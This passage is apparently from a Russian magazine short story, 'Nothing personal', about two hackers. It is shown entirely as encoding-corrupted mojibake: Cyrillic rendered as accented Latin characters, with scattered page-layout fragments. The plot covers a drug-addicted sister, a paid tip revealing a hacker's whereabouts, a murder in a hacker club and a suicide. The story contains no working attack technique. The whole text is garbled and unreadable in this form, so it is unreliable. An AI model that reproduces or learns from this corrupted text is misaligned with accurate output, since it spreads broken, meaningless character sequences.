ðþìêó-äðóãóþ âîäêè, ïóñòèòü ñëåçó� Îí áûë ðàçäàâëåí ñëó÷èâøèìñÿ. Âñå

ïðîèçîøëî â òå÷åíèå ïàðû ÷àñîâ; íåðâíàÿ ñèñòåìà ñïðàâëÿëàñü ñ òðóäîì,
åäâà-åäâà óäåðæèâàÿ ðàçóì íà ïëàâó.

Âçãëÿä ñêîëüçíóë ïî ðåêëàìíûì ùèòàì, àôèøàì, ïëàêàòàì. Ãëàçà çàöå-
ïèëèñü çà íåáðîñêóþ, íî âûðàçèòåëüíóþ ðåêëàìó íà ñòåíå êèíîòåàòðà - ÷åëî-
âåê â òåðíîâîì âåíöå ñ îêðîâàâëåííûì ëèöîì.

«ÑÒÐÀÑÒÈ ÕÐÈÑÒÎÂÛ»�
- Ãîñïîäè, êóäà æ òû ñìîòðåë? - øåïíóë Ñìèðíîâ. - Âðÿä ëè òû çíàåøü

îòâåò�
Íî íàäî áûëî êàê-òî ïðîæèòü ýòîò äåíü. È Ñìèðíîâ ïîøåë â «Ìåãàáàéò» -

êëóá äëÿ òàêèõ, êàê îí - «ïàðÿùèõ â ñåòè». Çíàêîìûé áàðìåí ïëåñíåò êîíüÿêó
- õîòÿ îáû÷íî îí ïèë òîëüêî ïèâî�

Äâåðè ñêðûëè åãî îò ìèðà.
À çàêàç÷èê ñèäåë â ñâîåì êàáèíåòå, íàöåïèâ íà ìèçèíåö äèñê è ðàçãëÿ-

äûâàÿ íà ïîòîëêå öâåòíûå îòáëåñêè îò íåãî.
Äèñê ñ çàïèñàííîé íà íåãî áàçîé äàííûõ ïî íàðêîòèêàì, âûöàðàïàííîé

èç ïðîãðàììû-øïèîíà.
×åðåç íåñêîëüêî ìèíóò îí øâûðíóë äèñê íà ïîë è ïîçâîíèë Ïàâëó�

* * * * *
Ñïóñòÿ ÷åòûðå ÷àñà áåñïëîäíûõ ïîèñêîâ â Ñåòè Ïàâåë îñîçíàë, íàêîíåö,

÷òî òàê îí íè÷åãî íå äîáüåòñÿ. Íàäî áûëî ìûñëèòü êàê-òî èíà÷å, íåñòàíäàðò-
íî, ÷òî ëè. Õàêåð ïðîòåð ïîêðàñíåâøèå óñòàëûå ãëàçà, ïðèêðûë âåêè è çàäó-
ìàëñÿ. Çàäà÷êà íà ïñèõîëîãèþ ïîâåäåíèÿ ÷åëîâåêà â ýêñòðåìàëüíîé ñèòóàöèè
îêàçàëàñü íå èç ïðîñòûõ.

- Âàðèàíò ëå÷ü íà äíî - ñàìûé ïðîñòîé è ïðàâèëüíûé. Ñêðûòüñÿ äî ïîðû
äî âðåìåíè íà êàêîé-íèáóäü êâàðòèðå ó çíàêîìûõ, ïðîñòî óåõàòü èç ãîðîäà�
Âåäü íàâåðíÿêà åñòü äðóçüÿ ïî êîìàíäå, êîòîðûå íå æèâóò çäåñü, íî ïî åãî
ïåðâîìó ñèãíàëó ãîòîâû ïðåäîñòàâèòü ëþáîå óáåæèùå, âåäü äëÿ íèõ îí êó-
ìèð. Äà è íå ïðîñòî êóìèð, à ñêîðåå, èäåéíûé âäîõíîâèòåëü - âåäü ïëîäàìè
åãî òðóäîâ, åãî ïðîãðàììàìè è ïðèíöèïàìè ðàáîòû ïîëüçóþòñÿ íå îäèí äå-
ñÿòîê ÷åëîâåê. Êîðî÷å, îí ñåé÷àñ â ñåòü íå ïîéäåò�

Ïàâåë ïîíÿë, ÷òî îí ïðîñòî ïîòåðÿë âðåìÿ, ñòàðàÿñü íàïàñòü íà ñëåäû
Ñìèðíîâà â èíòåðíåòå. Ãëóïî è áåçäàðíî âöåïèâøèñü â êîìïüþòåð, îí ïû-
òàëñÿ ïîéìàòü ÷åëîâåêà, êîòîðûé áûë íà ãîëîâó âûøå âñåõ õàêåðîâ ýòîãî ãî-
ðîäà - ÷åëîâåêà, êîòîðûé î÷åíü òîíêî ÷óâñòâîâàë, êîãäà ñåòü ñëóæèò åìó äî-
ìîì, à êîãäà òþðüìîé. »

O
Ô

Ô
Ò

Î
Ï

È
Ê

127

S
T
O
R
Y

Í
È

×
ÅÃ

Î
 Ë

È
×

Í
Î

ÃÎ

Îí äîëæåí áûë ñâîèìè
ðóêàìè íàâîäíèòü ñòðàíó

íàðêîòîé è ïîãóáèòü òûñÿ÷è
ëþäåé, ÷òîáû ñïàñòè ñåñòðó.



Âíåçàïíî îí ïîéìàë ñåáÿ íà ìûñëè - ñïóñòÿ ñòîëüêî ÷àñîâ ïîñëå çâîíêà -
÷òî ñîãëàñèÿ íà òî, ÷òîáû íàéòè Ñìèðíîâà, îí íå äàâàë; íàîáîðîò, îí ïðåêðà-
òèë ðàçãîâîð, äàâ ïîíÿòü, ÷òî íå ñîáèðàåòñÿ ñîâåðøàòü êàêèå-òî ïîñòóïêè
ïðîòèâ ñîâåñòè. Íî ïî÷åìó-òî çàíèìàåòñÿ ïîèñêàìè «Àêóëû» íà òàêîì óðîâíå,
êàê áóäòî îíè ïîäïèñàëè êîíòðàêò�

- ×òî ìåíÿ òàê çàèíòåðåñîâàëî? Äåíüãè? Ïîæàëóé, - õìûêíóë Ïàâåë. - Êàê
ãîâîðèòñÿ, íè÷åãî ëè÷íîãî�

Îí âñòàë èç-çà ñòîëà, ïðîøåëñÿ ïî êîìíàòå è, âûãëÿíóâ â îêíî, çà êîòî-
ðûì óæå ñòåìíåëî, çàäóìàëñÿ.

Âíåçàïíî ïðèøëî îçàðåíèå. Âñïîìíèëñÿ Åôèì Øèôðèí - «È òóò êàê
ñîëíöå èç-çà òó÷� ïðîÿñíèëî!» Ôðàçà î÷åíü ïðî÷íî âîøëà â åãî ëåêñèêîí -
ñìåøíàÿ è ÷åðòîâñêè òî÷íàÿ. Îí âñìîòðåëñÿ â îãíè ðåêëàì è ïðîåçæàþùèõ
àâòîìîáèëåé, ñëîâíî íàäåÿñü óâèäåòü òàì îäèíîêóþ ôèãóðêó Ñìèðíîâà, áðå-
äóùóþ ïî ïðîñïåêòó, à ïîòîì ðâàíóë ê òåëåôîíó è ïåðåçâîíèë - ñàì.

Íà òîì êîíöå òðóáêó âçÿëè ïðàêòè÷åñêè ìãíîâåííî. Íå òî ÷òî áû åãî æäà-
ëè - íî ÷åëîâåê íå îòõîäèë îò òåëåôîíà, íàäåÿñü íà óäà÷ó.

- Ñëóøàþ, - ãîëîñ ñëåãêà âçâîëíîâàííûé - íåóæåëè íà ñàìîì äåëå áûë
ýëåìåíò íåâåðèÿ â òî, ÷òî îí ïîçâîíèò?

- Ýòî Ïàâåë�
- ß ïîíÿë. Ãîâîðèòå.
- Åñòü ìûñëü, - Ïàâåë íà ñåêóíäó çàìîë÷àë, ñòàðàÿñü ïðèäàòü ñåáå è ñâî-

åìó ãîëîñó ìàêñèìóì óâåðåííîñòè. - Äàæå íå ìûñëü, ñêîðåå, ïðîìåæóòî÷íûé
èòîã ëîãè÷åñêèõ ðàññóæäåíèé� Íî ÿ ìîãó îøèáàòüñÿ.

- Êîðî÷å.
- ß äóìàþ� Îäíèì ñëîâîì, çàãëÿíèòå â «Ìåãàáàéò»�
- Íèêîãäà íå ñëûøàë, - ÷åëîâåê íà òîì êîíöå ïðîâîäà íåìíîãî çàâîëíî-

âàëñÿ. - ×òî ýòî?
- ×òî-òî òèïà êëóáà äëÿ ëþäåé, ïîäîáíûõ «Àêóëå»� Ñìèðíîâó, - ïîïðàâèë

ñåáÿ Ïàâåë, äóìàÿ, ÷òî ñîáåñåäíèêó íåèçâåñòåí íèê õàêåðà. - Îáûêíîâåííûé
ñ âèäó íî÷íîé êëóá ñî âñåìè ïðè÷èòàþùèìèñÿ ýòîìó òèïó çàâåäåíèé ðåãàëè-

ÿìè - áàðîì, äèñêîòåêîé íà äâà òàíöïîëà, áèëüÿðäîì è âñÿêîé âñÿ÷èíîé ïî-
äîáíîãî ðîäà. Íî òàì åñòü åùå îäèí çàë - ýêñêëþçèâ, òàê ñêàçàòü� Âûñîêîñ-
êîðîñòíîé äîñòóï â èíòåðíåò, òóñîâêà ëþäåé, ïðèâÿçàííûõ ê ìèðó âûñîêèõ
òåõíîëîãèé íå òîëüêî óâëå÷åíèåì, íî è Óãîëîâíûì êîäåêñîì� Âîéòè òóäà
ñëîæíî, îòñëåäèòü ÷åëîâåêà, íå èìåÿ íà òî ïðàâ è äîïóñêà âî âíóòðåííèå ïî-
ìåùåíèÿ, ïðàêòè÷åñêè íåâîçìîæíî�

- Âîçìîæíî âñå, - îáîðâàëè Ïàâëà. - Ãäå ýòî?
Ïàâåë îáúÿñíèë, íàçâàë êîäîâîå ñëîâî; ïîòîì âîçíèêëà ïàóçà. ×åëîâåê è

íå ïðåêðàùàë ðàçãîâîð, è íå òîðîïèëñÿ ïðîäîëæèòü åãî â êîíòåêñòå ãîíîðàðà.
- È?.. - ðåøèëñÿ ñïðîñèòü Ïàâåë.
- Âû î äåíüãàõ? Íå áåñïîêîéòåñü. Ïðàâäà, ïðèäåòñÿ ïîäîæäàòü, ïîêà ÿ

ðåøó ñâîþ ïðîáëåìó, èáî ó ìåíÿ ê âàøåìó áðàòñòâó òåïåðü äîâåðèå î÷åíü è
î÷åíü íèçêîå� Ñêàæó îäíî - åñëè âñå ïîëó÷èòñÿ, âàñ æäåò íàãðàäà ãîðàçäî
áîëüøàÿ, ÷åì ÿ ãîâîðèë�

- Ñêîëüêî? - ñîâåðøåííî íåîæèäàííî äëÿ ñàìîãî ñåáÿ ñïðîñèë Ïàâåë -
âîïðîñ âûðâàëñÿ èç íåãî ïðîòèâ åãî âîëè.

- Âàì ïîíðàâèòñÿ� Èòàê, äî âñòðå÷è. Âàñ íàéäóò. Ïðè ëþáîì èñõîäå äåëà.
Â òðóáêå ðàçäàëèñü ãóäêè. Ïàâåë ïðèæàë åå ê ãðóäè è çàäóìàëñÿ�

* * * * *
Ðàíüøå Ñìèðíîâ ïðèõîäèë ñþäà ÷àñòî - åäâà ëè íå äâà-òðè ðàçà â íå-

äåëþ. È áàðìåí, è àäìèíèñòðàòîð çàëà, è ïðîãðàììèñòû, îáñëóæèâàþùèå
òåõíèêó â ýòîì ÷óäî-öåíòðå, â ýòîì ðàå äëÿ õàêåðîâ, èçó÷èëè åãî ïðèñòðàñ-
òèÿ è â ïèâå, è â ìàøèíàõ, è â ïðîãðàììíîì îáåñïå÷åíèè, ãîðäèëèñü òåì,
÷òî èõ çàâåäåíèå ïîñåùàåò ñòîëü èçâåñòíàÿ ëè÷íîñòü è äåëàëè âñå äëÿ òî-
ãî, ÷òîáû åùå áîëüøå óãîäèòü åìó - íå èç ïîäõàëèìàæà, à èç âïîëíå çàñ-
ëóæåííîãî óâàæåíèÿ.

Êàæäûé âèçèò ñþäà ñòàíîâèëñÿ ÷óòü ëè íå ëåãåíäîé; ðåáÿòà çà ñîñåäíè-
ìè êîìïàìè ïÿëèëèñü ÷åðåç ïëå÷î â åãî ýêðàí, ïûòàÿñü ðàçãàäàòü êàêèå-òî
ñåêðåòû ìàñòåðà, ñëåäèëè çà äâèæåíèÿìè åãî ðóê, çà âûðàæåíèåì ãëàç, ñòà-
ðàëèñü ïîäðàæàòü åìó äàæå â ïîõîäêå.

Âíóòðåííèé ìèð êëóáà «Ìåãàáàéò» áûë îáóñòðîåí ïî ïîñëåäíåìó ñëî-
âó òåõíèêè - äâà ðÿäà ïî äåñÿòü êîìïüþòåðîâ â öåíòðå ïëþñ çà ïÿòüþ VIP-
ñòîëèêàìè åùå ïî îäíîé ìàøèíå; â äâóõ óãëàõ çàëà ïî áàðó - îäèí ïèâíîé
ñ âûñîêèì çîëîòèñòûì êðàíîì è íàäïèñüþ «Carlsberg», äðóãîé äëÿ âñåãî
îñòàëüíîãî.

Ñêàçàòü, ÷òî âíóòðè áûëî òèõî, íåëüçÿ - èíîãäà âîçíèêàëè äîâîëüíî øóì-
íûå ñïîðû çà êîìïüþòåðàìè èëè âîçëå áàðà, íî âîò çâóêè äèñêîòåêè ñþäà íå
ïðîíèêàëè, äàæå áàñû áûëè ïîãàøåíû ïðè ïîìîùè õèòðîé èçîëÿöèè.

Ñìèðíîâ ñèäåë çà îäíèì èç VIP-êîìïüþòåðîâ â äàëüíåì óãëó çàëà è ïîòè-
õîíüêó íàêà÷èâàëñÿ êîíüÿêîì. Íà ýêðàíå ìîíèòîðà ñ èíòåðâàëîì â ïîëìèíóòû
ñìåíÿëèñü ôîòîãðàôèè Íàòàøêè, ñäåëàííûå èì â ïåðèîä, êîãäà îí óâëåêñÿ
öèôðîâîé ñúåìêîé è ñåñòðà áûëà åãî åäèíñòâåííîé ìîäåëüþ - íà ïðèðîäå,
íà óëèöàõ, â ïàðêå. Îí ïåðåêà÷àë âñþ êîëëåêöèþ â èíòåðíåò, â îäíî èç ÷àñò-
íûõ õðàíèëèù, çàêðûë ïàðîëåì äëÿ òîãî, ÷òîáû íèêàêàÿ ñâîëî÷ü íå âîñïîëü-
çîâàëàñü ýòèìè íåâèííûìè èçîáðàæåíèÿìè â êîðûñòíûõ ìåðçêèõ öåëÿõ, è
èìåë äîñòóï ê ýòîìó ôîòîàëüáîìó âñåãäà è âñþäó, ãäå áûë êîìïüþòåð. Ïîñ-
ëåäíèé ðàç îí çàãëÿäûâàë ñþäà ïàðó íåäåëü íàçàä áåçî âñÿêîé ïðè÷èíû,
ïðîñòî çàõîòåëîñü óâèäåòü ãëàçà ñåñòðåíêè, êîòîðàÿ ñòàëà âñå ÷àùå ïðîïà-
äàòü ñî ñâîèìè äðóçüÿìè�

Êàê â âîäó ñìîòðåë�
Îí ïëåñíóë ñåáå åùå ïîëðþìêè êîíüÿêà, ðóêà äðîãíóëà, íåñêîëüêî êàïåëü

ïîïàëè íà ñòîë, íî îí íå çàìå÷àë ýòîãî. Ãëàçà, çàòÿíóòûå àëêîãîëüíîé ïåëå-
íîé, ðàçãëÿäûâàëè êàæäóþ ÷åðòî÷êó ëèöà Íàòàøêè, âñïîìèíàëè êàæäûé êàäð,
êàæäûé äåíü�

Ãóáû øåâåëèëèñü, ðàññûëàÿ ïðîêëÿòèÿ â àäðåñ âñåõ, êòî ïðèëîæèë ðóêó ê
òîìó, ÷òî åãî ñåñòðà ñòàëà íàðêîìàíêîé. Âðåìåíàìè ãîëîâà ïàäàëà íà ãðóäü,
íî îí íàõîäèë â ñåáå ñèëû íå ñïàòü. Îïüÿíåíèå ïîñòåïåííî ïðåâðàùàëîñü â
îòðàâëåíèå. Âîò-âîò îí óæå ìîã óïàñòü ñî ñòóëà íà ïîë; ìûñëü îá ýòîì çàñòà-
âèëà ïîäîäâèíóòü ñòóë ïîáëèæå, ëå÷ü íà ðóêè è çàäðåìàòü - áåñïîêîéíî,
âçäðàãèâàÿ. Äåðíóâøèñü âî ñíå, îí ñâàëèë íà ïîë ïóñòóþ áóòûëêó è ïðèâëåê
âíèìàíèå áàðìåíà. Òîò ðåøèë äàòü Ñìèðíîâó çàñíóòü ïîêðåï÷å, ïîñëå ÷åãî
ïåðåíåñòè óâàæàåìîãî ÷åëîâåêà â êîìíàòó ñ äèâàíîì.

×åëîâåê, êîòîðûé âîøåë â áàð â òó ìèíóòó, êîãäà «Àêóëà» çàñíóë, áûë íèêî-
ìó íå èçâåñòåí - íî îí ñêàçàë «ñëîâî». Åìó óêàçàëè íà îäèí èç ñâîáîäíûõ
êîìïüþòåðîâ - îí îòêàçàëñÿ. Òîãäà áàðìåí àäìèíèñòðàòîð îñòàâèë åãî â ïîêîå,
ïðåäîñòàâèâ íàéòè ñàìîìó çàíÿòèå è ìåñòî ïî äóøå. Ãîñòü ïðîøåëñÿ ïî çàëó,
ïåðèîäè÷åñêè çàãëÿäûâàÿ â ýêðàíû ðàáîòàþùèõ êîìïüþòåðîâ è â ëèöà ñèäÿ-
ùèõ çà íèìè ëþäåé. Îñîáîãî âíèìàíèÿ íà íåãî íå îáðàùàëè.

Íåñêîëüêî ñåêóíä îí ïîñòîÿë íàä ïüÿíûì «Øàðêîì», ïîêà÷àë ãîëîâîé, äå-
ìîíñòðàòèâíî ïåðåøàãíóë ÷åðåç ëåæàùóþ íà ïîëó áóòûëêó è íàïðàâèëñÿ ê âû-
õîäó. Áàðìåí ïðîâîäèë åãî óäèâëåííûì âçãëÿäîì è íàïðàâèëñÿ ê Ñìèðíîâó.

Òîò ëåæàë ñîâåðøåííî íåïîäâèæíî, çàæàâ â ðóêå ïóñòóþ ðþìêó. Èç-ïîä
åãî ãîëîâû ìåäëåííî ðàñïîëçàëàñü ïî ñòîëó ëóæà àëîé êðîâè, ïîäñâå÷åííàÿ
íåîíîâûìè ëàìïàìè�

À íà ýêðàíå ñìåíÿëè äðóã äðóãà ôîòîãðàôèè åùå æèâîé Íàòàøêè.

* * * * *
Ïàâëó ïîçâîíèëè ÷åðåç ïîëòîðà ÷àñà. Ãîëîñ ñîáåñåäíèêà áûë óæå íå òà-

êèì íàïðÿæåííûì, êàê ðàíüøå:
- Õî÷ó ñîîáùèòü âàì, ÷òî âàøè ïðåäïîëîæåíèÿ áûëè âåðíû, - óñëûøàë

Ïàâåë. - Ìíå óäàëîñü íàéòè ýòîãî ÷åëîâåêà. Ïðîáëåìà ñ íèì ðåøåíà.
- Íå ñêàæó, ÷òî ðàä ýòî ñëûøàòü, - îòâåòèë Ïàâåë. - Íî, â êîíöå êîíöîâ,

âñå èìååò ñâîþ öåíó�
- Ñîâåðøåííî âåðíî, - îäîáðèòåëüíî ïðîçâó÷àëî â îòâåò. - Âû íàâåðíÿêà

æäåòå ìîåé áëàãîäàðíîñòè?
- Åñòåñòâåííî, - êèâíóë Ïàâåë.
- Âñå áóäåò, âñåìó ñâîå âðåìÿ�
Ïàâåë íàïðÿãñÿ - òàêèìè ñëîâàìè îáû÷íî íà÷èíàþòñÿ ðàçãîâîðû î òîì,

÷òî íàäî íåìíîãî ïîäîæäàòü.
- Äûøèòå ðîâíåå, ÿ íå îáìàíó âàñ. Íî ïîñëå Ñìèðíîâà îñòàëàñü íåðå-

øåííîé îäíà çàäà÷êà�
- Çàäà÷êà? - ñïðîñèë Ïàâåë, ïîíèìàÿ, ÷òî åãî ïûòàþòñÿ ïîäñàäèòü íà

öåïü ñîáûòèé - êàæäîå ïîñëåäóþùåå óâåëè÷èâàëî âîçíàãðàæäåíèå, íî âîò
äîæäàòüñÿ åãî áûëî î÷åíü è î÷åíü ñëîæíî, òóò áû æèâûì óéòè�

Â òðóáêå íåìíîãî ïîìîë÷àëè, ïîòîì ñíîâà ðàçäàëñÿ ãîëîñ - êàê ïðèãîâîð:
- ß äóìàþ, ÷òî çðÿ ñïðîñèë âàñ. Âû íå ñìîæåòå ñäåëàòü òî, ÷òî ñäåëàë

Ñìèðíîâ. Âàøà ó÷àñòü èíàÿ.
- Êàêàÿ?
- Ñìåòàòü ñ ïóòè ãåíèåâ. Æàëü, íî ÿ ïîíÿë ýòî òîëüêî ÷òî. Êàê ïåðåäàòü

âàì äåíüãè?
Ïàâåë íåìíîãî ïîäóìàë, ïîòîì íàçíà÷èë ìåñòî è âðåìÿ.
- Æäèòå, - êîðîòêî îòâåòèë ñîáåñåäíèê è ïîëîæèë òðóáêó. Ïàâåë ñïóñòÿ

ñåêóíäó ñäåëàë òî æå ñàìîå è êðåïêî çàäóìàëñÿ�
Àãåíò ïðîæäàë åãî â ïàðêå ïî÷òè ÷àñ. Ïàâåë íå ïðèøåë.
Îí âèñåë â ñâîåé âàííîé íà êóñêå áåëüåâîé âåðåâêè, íå â ñèëàõ ñîâëà-

äàòü ñ òåì, ÷òî äàæå ñòåíû åãî êâàðòèðû êðè÷àëè åìó:
- ÈÓÄÀ!..
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